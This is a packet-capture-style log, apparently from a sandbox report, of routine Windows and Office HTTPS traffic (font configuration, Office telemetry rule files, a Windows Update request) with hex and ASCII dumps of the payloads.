2024-10-30 01:27:24 UTC	1378	IN	Data Raw: 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 Data Ascii: 216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 01:27:24 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=41295 Date: Wed, 30 Oct 2024 01:27:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 01:27:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:55 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: acfedf75-801e-002a-2768-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012755Z-r197bdfb6b46krmwag4tzr9x7c00000007600000000094md x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:55 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-30 01:27:55 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wBAut13mY1yHMf6&MD=RVWnae4h HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 01:27:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 9e894036-db1f-42fd-bed8-7745eb1617a1 MS-RequestId: c86089ce-c35a-49f3-bb74-cc8f9b779f17 MS-CV: b6Te5YHOKEGKJC9B.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 01:27:56 GMT Connection: close Content-Length: 30005
2024-10-30 01:27:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-30 01:27:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012756Z-16849878b78qfbkc5yywmsbg0c00000006xg00000000s1h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:27:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:56 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012756Z-17c5cb586f6w4mfs5xcmnrny6n000000093000000000denk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:27:56 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:56 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:27:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012756Z-r197bdfb6b47gqdjvmbpfaf2d000000002p0000000000zne x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
